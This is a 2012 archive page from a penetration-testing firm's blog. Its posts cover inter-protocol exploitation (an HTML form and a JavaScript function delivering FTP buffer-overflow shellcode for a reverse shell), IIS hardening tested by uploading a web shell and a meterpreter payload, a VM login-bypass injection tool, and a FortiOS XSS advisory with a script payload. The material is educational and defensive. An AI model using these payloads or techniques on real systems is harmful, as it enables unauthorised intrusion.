SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
HOME SECFORCE - penetration testing COMPANY SECFORCE - penetration testing SERVICES SECFORCE - penetration testing RESEARCH SECFORCE - penetration testing BLOG SECFORCE - penetration testing INITIATIVES SECFORCE - penetration testing CONTACT
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
    SECFORCE - penetration testing

Blog ■

SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
    Home : Blog  
SECFORCE - penetration testing SECFORCE - penetration testing
Archive for November, 2012

Inter-Protocol Communication – Exploitation

Wednesday, November 21st, 2012

What is it?
Inter-Protocol Communication is the ability of two different protocols to exchange meaningful commands and data.

These two protocols can be called the target protocol and the carrier protocol. The target protocol is the protocol on the receiving end with which we wish to communicate. The carrier protocol is the protocol that we will use to encapsulate and send the commands and data.

There are a few requirements for communication to be possible:

  • The target protocol must be error tolerant. The reason for this is that, since we are communicating through a different carrier protocol, we will be sending some messages that the target protocol won’t understand.
  • It must be possible to encapsulate the target protocol in the carrier protocol. Even if the target protocol doesn’t understand all of the messages it receives, it has to understand the important ones.

What can you do with it?
Inter-Protocol Exploitation: use a protocol to attack a service running another protocol. Wade Alcorn researched about this in 2006/2007 (see [1] and [2]).

It is particularly interesting to talk about HTTP as the carrier protocol because attacks can be launched from a web browser and everyone has one! This kind of attack can be used by an attacker to gain access to resources and services that only the victim has access to by making the victim do the “dirty work”.

Newline-based protocols such as SMTP, POP3, IRC and FTP – that use new lines as separators – are affected by this because the lines sent to the target protocol are interpreted one at a time. Add the fact that the target protocol is error tolerant and this makes it possible for the target to simply ignore the lines it doesn’t understand and interpret the lines it does.

To better understand how this works, let’s look at a simple example.

Example 1 : Connecting to FTP through HTTP

It is very easy to make a browser connect to an FTP server with an HTTP POST request. Here’s what the HTML form looks like if the FTP server is on the same machine as the browser:

<form method='POST' action='http://localhost:21' enctype='multipart/form-data'>
<input type='hidden' name='a' value='user secforce'>
<input type='hidden' name='a' value='pass secforce'>
<input type='submit'>

Supposing that this FTP user and password exist, when this form is submitted you will have logged in to your FTP server. Easy, right?

This is the actual HTTP POST request being sent:

User-Agent: Mozilla/5.0 (X11; Debian; Linux x86_32; rv:16.0) Gecko/20110007 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------63079936718166855021600323653
Content-Length: 304

Content-Disposition: form-data; name="a"

user secforce
Content-Disposition: form-data; name="a"

pass secforce

Here is the reply we receive from the FTP server. All the 50x errors correspond to the HTTP lines the server didn’t understand. The server ignores those and interprets the lines it does understand.

220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-Local time is now 12:41. Server port: 21.
220-This is a private system - No anonymous login
220 You will be disconnected after 15 minutes of inactivity.
530 You aren't logged in
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
331 User secforce OK. Password required
500 ?
500 ?
500 ?
230 OK. Current directory is /
500 ?

In-band vs out-of-band control
You might notice that not all FTP commands work over HTTP. Commands like MKD/RMD and DEL work whereas GET/PUT, RETR/STOR don’t. The reason for this is that FTP is an out-of-band protocol, meaning it uses separate TCP ports for data and control connections. In fact, if you try to use STOR to upload a file to the server, you will create an empty file with the name you specified. This happens because the file is created before the transfer occurs. All commands that don’t need a separate data connection – that only use the control connection – will work.

Let’s now look at a more interesting example.

Example 2 : Running an FTP exploit through HTTP.

For this example we picked EasyFTP v1.7, an FTP server vulnerable to a buffer overflow on the MKD command. Note that this command only uses the control connection, which makes our life easier! We set up the server in a virtual machine ( and created the user ‘anonymous’ because for the exploit to work you need to be logged in to the server.

No need to reinvent the wheel so we took a known exploit (see [6]) and crafted a POST request (this time with Javascript) to deliver the shellcode to our FTP server. To send the shellcode we used sendAsBinary as shown by Michele Orru and Ty Miller in RuxCon 2012 (see [4]). Check out their Inter-Protocol Exploitation research with BeEF (see [3]).

Here is our function:

function exploit(){
var url = ''
var intro = 'USER anonymous\r\nPASS anonymous\r\n'
var payload = 'MKD \x89\xe7\x81\xef\x10\xfe\xff\xff\xc7\x07\x13\x57\x7e\xd6\x81\xc7
var req = new XMLHttpRequest();'POST', url, true);
req.setRequestHeader('Content-Type', 'text/plain');
req.setRequestHeader('Content-Length', '20');
req.sendAsBinary(intro + payload + '\r\n'); // neat way to send hexadecimal code through HTTP

As a payload we chose a reverse shell to port 4444 of our host and set up a listener there. We then inserted this javascript code in a webpage and opened it in our host’s browser. Guess what?

Happy days! 🙂

How to defend against it?

  • Port blocking – By default, most browsers deny connections to several known ports (21/FTP, 25/SMTP, etc). This protection can be overcome by tweaking the browser configuration or by using non-standard ports.
  • Less error tolerance – Some protocols close the connection if they receive something they don’t understand. This provides less flexibility but more security against this kind of attack. A better option is to close the connection after a few unrecognized commands.

As mentioned before, this kind of attack has several limitations and requirements. Although there are often easier ways to achieve the same result, under certain circumstances, this can be a valid vector of attack.

More about this


Shortcomings of following IIS security best practices

Friday, November 16th, 2012

Having a secure web application is obviously in the best interest of the business. However, in many cases the developing is done without security in mind. Understandably time-to-market is an important factor for a business but a layered security approach will be more beneficial in the long run.

As a preliminary step it is important to secure the perimeter by implementing a firewalled DMZ zone

In short one must follow the configuration below:

Internet—[firewall]—[DMZ Zone]—[firewall]—Internal Network

The benefit of this configuration is that the web server only has limited access to the internal network.

The external firewall should only allow incoming connections on ports 80 and/or 443(https) but this should be done after the web application is ready for deployment. As a first step the external firewall should not allow any connections.

The internal firewall should allow any connection to any service needed and reject any other connections. Additionally it should only allow incoming connections to be made from the internal network and reject outgoing connections to the internal network to be made.

Another obvious benefit of such configuration is that if the web server gets compromised the internal network will be protected and the “attacker” will not be able to use the webserver to compromise hosts on the internal network.

Moreover having a firewall in place from the start it will make it easier to configure access to the web server later on.

As a general rule every exposed service should be seen as a potential threat, as individual vulnerabilities in services can lead to full compromise of the host.

Having said that the setup of a DMZ is not what this blog post is about but it needs to be stated here.

Installing the server:

In the following post we will try to emulate the scenario of an vulnerable web application and how the web server needs to be configured in order be protected against such applications. For this test case an installation of the latest Microsoft Windows 2012 Core server was done. The reason being that no extra services or additional software will be installed.

Soon after the Core installation is finished, we see the Windows Server 2012 login screen.

After successfully authentication, we are greeted with an Administration terminal, and we install IIS by issuing the script below:

C:\>CMD /C START /w PKGMGR.EXE /l:log.etw /iu:IIS-WebServerRole;IIS-WebServer;IIS-CommonHttpFeatures;IIS-StaticContent;IIS-DefaultDocument;IIS-DirectoryBrowsing;IIS-HttpErrors;IIS-HttpRedirect;IIS-ApplicationDevelopment;IIS-ASP;IIS-CGI;IIS-ISAPIExtensions;IIS-ISAPIFilter;IIS-ServerSideIncludes;IIS-HealthAndDiagnostics;IIS-HttpLogging;IIS-LoggingLibraries;IIS-RequestMonitor;IIS-HttpTracing;IIS-CustomLogging;IIS-ODBCLogging;IIS-Security;IIS-BasicAuthentication;IIS-WindowsAuthentication;IIS-DigestAuthentication;IIS-ClientCertificateMappingAuthentication;IIS-IISCertificateMappingAuthentication;IIS-URLAuthorization;IIS-RequestFiltering;IIS-IPSecurity;IIS-Performance;IIS-HttpCompressionStatic;IIS-HttpCompressionDynamic;IIS-WebServerManagementTools;IIS-ManagementScriptingTools;IIS-IIS6ManagementCompatibility;IIS-Metabase;IIS-WMICompatibility;IIS-LegacyScripts;WAS-WindowsActivationService;WAS-ProcessModel;IIS-ASPNET;IIS-NetFxExtensibility;WAS-NetFxEnvironment;WAS-ConfigurationAPI;IIS-ManagementService;MicrosoftWindowsPowerShell;NetFx2-ServerCore;NetFx2-ServerCore-WOW64

The Initial setup was with .NET and without FTP and WebDAV. In retrospect FTP was needed to upload content and it was installed later on. I must note that the PKGMGR is almost apt-get awesome.

After everything is installed we start PowerShell to manage the server more effectively.

In PowerShell we can enable the IIS features that we want eg.:

$IISFeatures = @(“Web-Asp-Net45”, “Web-Net-Ext”, “Web-ISAPI-Ext”, “Web-ISAPI-Filter”, “Web-Filtering”, “Web-IP-Security”)

Add-WindowsFeature -Name $IISfeatures -logPath “$Env:ComputerName.log” –Source \\Server\Share\sources

Soon after the web server is ready and serving …

However default setup is not what we want. Let’s follow best practices for IIS…

As a general rule of thumb default installations are not considered secure or robust in most software. This means that further steps are needed to secure the web server effectively. A search for “IIS best practice standards” gives us an idea of what needs to be done, as summarized below:

  1. Stop Default Web Site
  2. Stop Default application pool
  3. Each site should use its own associated Application Pool
  4. Each site should have Anonymous Authentication configured to use the AppPoolIdentity
  5. Web root directory should be on a separate disk
  6. Move the log files to the separate disk

1. Stopping default website:

In powershell:

load the WebAdministration module

  • PS:\> ipmo WebAdministration

Stop the Default Web Site from Starting on startup

  • PS:\> Set-ItemProperty ‘IIS:\Sites\Default Web Site’ ServerAutoStart False

Stop the Default Web Site

  • PS:\> Stop-WebSite ‘Default Web Site’

*Optionally: remove the Default Web Site

  • PS:\> Remove-WebApplication ‘Default Web Site’

2. Stopping Default application pool:

  • PS:\> Stop-WebAppPool DefaultAppPool

3. Each site should use its own associated Application Pool:

Create new website & changed the default web root

  • PS:\> New-Item IIS:\Sites\Demo -bindings @{protocol=’http’;bindingInformation=’:80:*’} -PhysicalPath F:\wwwroot\Demo

4. Each site should have Anonymous Authentication configured to use the AppPoolIdentity

  • PS:\> set-webconfigurationproperty /system.webServer/security/authentication/anonymousAuthentication -name userName -value “”
*At this point I must note that using PowerShell was becoming harder and time consuming. So I started IIS remote management to check the configuration more effecively
C:\> net start wmsvc

5. Fix permissions:

Root folder is at f:\wwwroot

Allow inheritance of read permissions in subfolders and files inside this directory

  • F:\>ICACLS <path_to_root> /INHERITANCE:R

Remove users from beeing able to access this directory (Only admins should have full access to the web root folder)

  • F:\>ICACLS <path_to_root> /remove Users

Allow read access to the Application Pool on the Web page folder (f:\wwwroot\Demo)

  • F:\>ICACLS <path_to_site> /grant “IIS AppPool\<app_pool_name>”:(OI)(CI)R
* Another typical case installation scenario would be to give full access to the Application Pool, but this is not suggested:
  • C:\> icacls <path_to_site> /grant “IIS APPPOOL\<app_pool_name>”(CI)(OI)(M)

6. Finally, move the log files to the separate disk

  • PS:\>Set-ItemProperty IIS:\Sites\Demo -name -value F:\weblogs

This concludes the “following best practices” part of the post. Now it is time to test the configuration. I tend to find that exploiting (as I would normally do) is the most effective way of testing. This process involves identifying the issues and then modifying the configuration to combat those issues.

Let’s exploit us !?!

As a first ster an asp web shell was uploadedl. Obviously this is not something to have on your website but we are trying to emulate a vulnerable web application or a web application with vulnerabilities that could allow a web shell to be uploaded.

The web shell allows us to execute commands. This is not something unexpected major after all it’s a web shell. The first issue identified was that we could read other parts of the file system. As expected (due to permissions above) we cannot write to any part of the filesystem or to the websites folder.

Apparently, it is possible to make a new folder at the disk root directory (eg. f:\temp) that gave full permissions to the Application Pool. Following that it was possible to upload a meterpreter exploit and execute it, to get an interactive shell.

The reason behind this was that the default permissions in the hard disk root gave full access to any User. A very simple mistake but had devastating affects for the web server. Moreover changing the permissions of the hard disk root directory was not suggested anywhere in the standards I was following. Additionally, permissions on the %TEMP% folder should also be reviewed as typically this folder can also be accessed by any user.

Lastly I must add that the exploit was running with restricted user permissions. There are a number of techniques for escalating our privileges, but as Windows Server 2012 is new none of the commonly used ones was successful, at least without rebooting the server. In any case the server is considered exploited.

Identifying & fixing the problems:

Problem #1:

AppPool was not restricted inside the wwwroot\Demo folder and had access to other parts of the file system.

To remove user permissions in the root directories.

  • C:\> ICACLS <path_to_drive> /remove Users
  • C:\> ICACLS <path_to_drive> /remove Everyone
* For both F: and C: drives

Problem #2

Executing the exploit.

First, to make it more realistic, lets assume the applications has a legitimate upload functionality it is therefore possible to upload a files to the web server. For this an upload folder with read and write permissions was added.

Although we are able to upload the exploit again, the Application Pool had no execution privileges in that folder so it was not possible to run it.

Problem #3

Although we cannot run an exploit, it is possible to upload a web shell and access it through the web server. This could be possible by abusing the upload functionality of any legitimate web application. To combat this we must instruct the server not to run ASP pages/files from within our upload folder.

To remove the functionality:

make a web.config file with the following content:

<?xml version=”1.0″ encoding=”UTF-8″?>




<clear />




This instructs the server to clear all the file handlers and to not serve any contents. For example the .asp files will not be handled by the ASP engine.

As we can see below even though the webshell is inside the upload folder when trying to access it we receive a 404 file not found error.

Additionally to prevent overwriting of the file from the webshell, since every object inside the upload folder will inherit IIS AppPool\DemoPool write permissions; the web.config permissions should be changed to:

  • C:\> ICACLS <path>/web.config /inheritance:r /grant:r “IIS APPPOOL\DemoPool”:R Administrators:F

Famous last words:

As per the above examples, following best practices helps the security of the web server but in many cases this can lead to a dangerous false sense of security. Following any post blindly (this included) is not recommended. Continuously testing and modifying the the configuration untill it reaches the desired state (where the whole configuration as restricted as it can be) is generally a better approach, one which help create a truly secure and robust server.

VMInjector – DLL Injection tool to unlock guest VMs

Wednesday, November 14th, 2012


VMInjector is a tool designed to bypass OS login authentication screens of major operating systems running on VMware Workstation/Player, by using direct memory manipulation.


VMInjector is a tool which manipulates the memory of VMware guests in order to bypass the operation system authentication screen.

VMware handles the resources allocated to guest operating systems, including RAM memory. VMInjector injects a DLL library into the VMWare process to gain access to the mapped resources. The DLL library works by parsing memory space owned by the VMware process and locating the memory-mapped RAM file, which corresponds to the guest’s RAM image. By manipulating the allocated RAM file and patching the function in charge of the authentication, an attacker gains unauthorised access to the underlying virtual host.

VMInjector can currently bypass locked Windows, Ubuntu and Mac OS X operation systems.

The in-memory patching is non-persistent, and rebooting the guest virtual machine will restore the normal password functionality.

Attacking Scenarios:

VMInjector can be used if the password of a virtual host is forgotten and requires reset.

Most usually, this tool can be used during penetration testing activities, when access to a VMWare host is achieved and the attacker is looking to gain additional access to the guests running in such host.


  • Windows machine (with administrative access);
  • VMware workstation or player edition;
  • A locked guest VM;


VMInjector consists of 2 parts:

  • The DLL injection application (python script or provided converted executable)
  • DLL library (x86 and x64)

The tool supports both x86 and x64 bit architectures by providing both DLLs. One may use his own DLL injector to select the guest virtual machine running on the host.

In order to run the tool, execute the VMInjector (32 or 64) executable provided from the command line as shown in figure 1.

Figure 1: List of running guest machines running.

VMWare runs each guest in a different process. VMInjector needs to be pointed to the process running the guest which requires bypass. Once the user chooses a process, it will inject the DLL into the chosen target.

Once the DLL is injected, the user will need to specify the OS, so that the memory patching can be accomplished, as shown in Figure 2.

Figure 2: Searching for OS signature in memory and patching.

Tool and Source Code:

The tool executable and source code can be found on GitHub (


This tool is for legal purposes only. The code is released under GPLv3 license.

Thanks and references:

I would like to thank Michael Ligh for his valuable research on injecting shellcode into guest virtual machines back in 2006.

I would also like to thank Carsten Maartmann-Moe for is work on Inception, a tool which can unlock locked Windows, Ubuntu and OS X machines by using the IEEE 1394 FireWire trick. This was first showcased by the (now obsolete) winlockpwn tool.


Tool coded by Marco Batista


Please download this tool from GitHub

SECFORCE presented at the IGEM conference

Wednesday, November 14th, 2012

The gas and energy sectors face significant challenges in regard to IT security. An evolving industry where reliance on IT systems has become key, being a potential target of terrorism attacks and where high availability and business continuity is a must, IT security shouldn’t be overlooked.

SECFORCE presented the challenges faced by Gas and Energy corporations in the IGEM annual conference:

The talk provided an overview of the threats of the companies in the energy sector, the current threats affecting SCADA systems, attackers’ motivations and a roadmap towards an increase on security.

FortiOS Remote Access Web Portal – XSS Vulnerability

Monday, November 5th, 2012


Fortinet delivers a comprehensive portfolio of security gateways and complementary products. FortiGate platforms integrate the FortiOSâ„¢ operating system with FortiASICâ„¢ processors and the latest-generation CPUs to provide comprehensive, high-performance security. By using a specially crafted URL in an HTTP request, it is possible to achieve an XSS attack, potentially giving access to confidential information, such as session cookies.


Fortinet FortiOS contains a flaw that allows a non-persistent cross-site scripting (XSS) attack. The input passed to redir parameter at http://x.x.x.x/remote/logincheck is not properly sanitized. It is possible to inject the redir parameter in a POST request as a data parameter or trough a GET request as a URL parameter. This may allow an attacker to execute arbitrary script code in a user’s browser.

As this range of products are used for SSL VPN authentication, this issue can be exploited to mount an attack and potentially gain unauthorised access to the target internal network.

Affected Products:

Found and tested on: SSLVPN-FGT200B  Remote Access Web Portal, but its known not to be the only one affected.

Proof of Concept:


Figure 1: Example XSS on a SSLVPN-FGT200B

Source Code Result:

<script language = “javascript”> function redir() { top.location=”“};alert(‘XSS’);{““; } </script>


The vendor has released an update of FortiOS. Version FortiOS 4.3.7 fixes this issue.


Discovered: 14/03/2012 (Marco Batista)
Vendor Notified: 18/04/2012
Disclosed: 02/11/2012



January 2015
November 2014
July 2014
April 2014
March 2014
February 2014
August 2013
June 2013
February 2013
January 2013
December 2012
November 2012
October 2012
January 2012
October 2011
September 2011
July 2011
June 2011
April 2011
February 2011
January 2011
March 2009
February 2009
January 2009
December 2008
November 2008
October 2008


Aircraft security (1)
Business Continuity (2)
cyber security (2)
Embedded devices security (2)
exploit (9)
Fuzzing (1)
Penetration Testing (43)
Phishing (3)
Risk Management (5)
Security architecture (2)
Security Books (1)
Security Compliance (1)
Security research (11)
social engineering (1)
social media (1)
sql injection (3)
SQL Server (3)
Tools (15)
Uncategorized (4)
Vulnerabilities (10)
SECFORCE - penetration testing
  SECFORCE - penetration testing Suite 11, Beaufort Court
Admirals Way, Canary Wharf - E14 9XL, London
SECFORCE - penetration testing Direct Line +44 (0) 845 056 8694
E-mail SECFORCE - penetration testing
  Follow us in Twitter Check us out in LinkedIn SECFORCE is CREST certified. Click on the logo for more information ISO9001 ISO27001
SECFORCE - penetration testing
    Copyright (c) 2017 SECFORCE Ltd · All Rights Reserved